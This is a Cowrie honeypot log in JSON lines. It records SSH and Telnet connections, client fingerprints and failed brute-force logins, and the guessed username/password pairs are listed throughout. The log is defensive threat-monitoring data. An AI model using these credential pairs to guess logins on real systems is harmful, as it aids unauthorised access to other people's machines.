{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34280,"dst_ip":"10.17.0.5","dst_port":22,"session":"56627caa6931","protocol":"ssh","message":"New connection: 45.153.34.112:34280 (10.17.0.5:22) [session: 56627caa6931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:37.286406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:37.291698Z","src_ip":"45.153.34.112","session":"56627caa6931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:37.373968Z","src_ip":"45.153.34.112","session":"56627caa6931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:37.622021Z","src_ip":"45.153.34.112","session":"56627caa6931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1f7fffcdbd3","protocol":"telnet","message":"New connection: 192.119.13.58:51196 (10.17.0.5:23) [session: f1f7fffcdbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:37.789351Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:38.710936Z","src_ip":"45.153.34.112","session":"56627caa6931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60900,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e50ffd0720","protocol":"telnet","message":"New connection: 192.119.13.58:60900 (10.17.0.5:23) [session: 31e50ffd0720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:40.069586Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38286,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bb4f027d726","protocol":"ssh","message":"New connection: 45.153.34.112:38286 (10.17.0.5:22) [session: 1bb4f027d726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:41.022895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:41.028442Z","src_ip":"45.153.34.112","session":"1bb4f027d726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:41.115205Z","src_ip":"45.153.34.112","session":"1bb4f027d726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37728,"dst_ip":"10.17.0.5","dst_port":23,"session":"83a46e715f74","protocol":"telnet","message":"New connection: 192.119.13.58:37728 (10.17.0.5:23) [session: 83a46e715f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:41.328470Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"1060e77e51ca","protocol":"telnet","message":"New connection: 192.119.13.58:37886 (10.17.0.5:23) [session: 1060e77e51ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:41.358701Z"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:41.459333Z","src_ip":"45.153.34.112","session":"1bb4f027d726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.22117877006531,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:42.670644Z","src_ip":"192.119.13.58","session":"77068b1d9ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:42.675936Z","src_ip":"45.153.34.112","session":"1bb4f027d726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38330,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb2439227a0","protocol":"ssh","message":"New connection: 45.153.34.112:38330 (10.17.0.5:22) [session: afb2439227a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:44.616574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:44.621591Z","src_ip":"45.153.34.112","session":"afb2439227a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:44.705062Z","src_ip":"45.153.34.112","session":"afb2439227a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:45.109851Z","src_ip":"45.153.34.112","session":"afb2439227a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:46.195184Z","src_ip":"45.153.34.112","session":"afb2439227a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.89100909233093,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:47.526713Z","src_ip":"192.119.13.58","session":"13dfcb525a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34946,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a9f010b003","protocol":"telnet","message":"New connection: 192.119.13.58:34946 (10.17.0.5:23) [session: c7a9f010b003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:47.654904Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36080,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18cb8d0311e","protocol":"telnet","message":"New connection: 192.119.13.58:36080 (10.17.0.5:23) [session: f18cb8d0311e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:47.979854Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38354,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29af2e02dcf","protocol":"ssh","message":"New connection: 45.153.34.112:38354 (10.17.0.5:22) [session: f29af2e02dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:48.287464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:48.291908Z","src_ip":"45.153.34.112","session":"f29af2e02dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:48.374294Z","src_ip":"45.153.34.112","session":"f29af2e02dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:48.621670Z","src_ip":"45.153.34.112","session":"f29af2e02dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:49.748494Z","src_ip":"45.153.34.112","session":"f29af2e02dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92752e5f26d","protocol":"telnet","message":"New connection: 192.119.13.58:44432 (10.17.0.5:23) [session: c92752e5f26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:49.988854Z"}
{"eventid":"cowrie.session.closed","duration":44.77801871299744,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:50.848822Z","src_ip":"192.119.13.58","session":"29ca1110f51a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"16.58.56.214","src_port":44492,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5a1798aa34","protocol":"telnet","message":"New connection: 16.58.56.214:44492 (10.17.0.5:23) [session: 3a5a1798aa34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:51.548782Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57862,"dst_ip":"10.17.0.5","dst_port":22,"session":"de1e6239f42b","protocol":"ssh","message":"New connection: 45.153.34.112:57862 (10.17.0.5:22) [session: de1e6239f42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:52.063548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:52.068721Z","src_ip":"45.153.34.112","session":"de1e6239f42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:52.150827Z","src_ip":"45.153.34.112","session":"de1e6239f42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73343062400818,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:52.370010Z","src_ip":"192.119.13.58","session":"ee247d41235f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:52.396979Z","src_ip":"45.153.34.112","session":"de1e6239f42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:53.592896Z","src_ip":"45.153.34.112","session":"de1e6239f42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9880,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc9ecce4d31","protocol":"ssh","message":"New connection: 2.57.121.25:9880 (159.203.135.109:22) [session: cfc9ecce4d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:53.902160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:53.906817Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":42004,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65fa6486739","protocol":"ssh","message":"New connection: 43.134.175.218:42004 (10.17.0.5:22) [session: b65fa6486739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:53.912108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:53.916775Z","src_ip":"43.134.175.218","session":"b65fa6486739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:54.012705Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:54.155365Z","src_ip":"43.134.175.218","session":"b65fa6486739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12qwerty","message":"login attempt [user/12qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:54.509838Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric","message":"login attempt [root/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:55.141384Z","src_ip":"43.134.175.218","session":"b65fa6486739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"124356","message":"login attempt [user/124356] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:55.618137Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57874,"dst_ip":"10.17.0.5","dst_port":22,"session":"68294c5dd359","protocol":"ssh","message":"New connection: 45.153.34.112:57874 (10.17.0.5:22) [session: 68294c5dd359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:55.687104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:55.694784Z","src_ip":"45.153.34.112","session":"68294c5dd359","protocol":"ssh"}
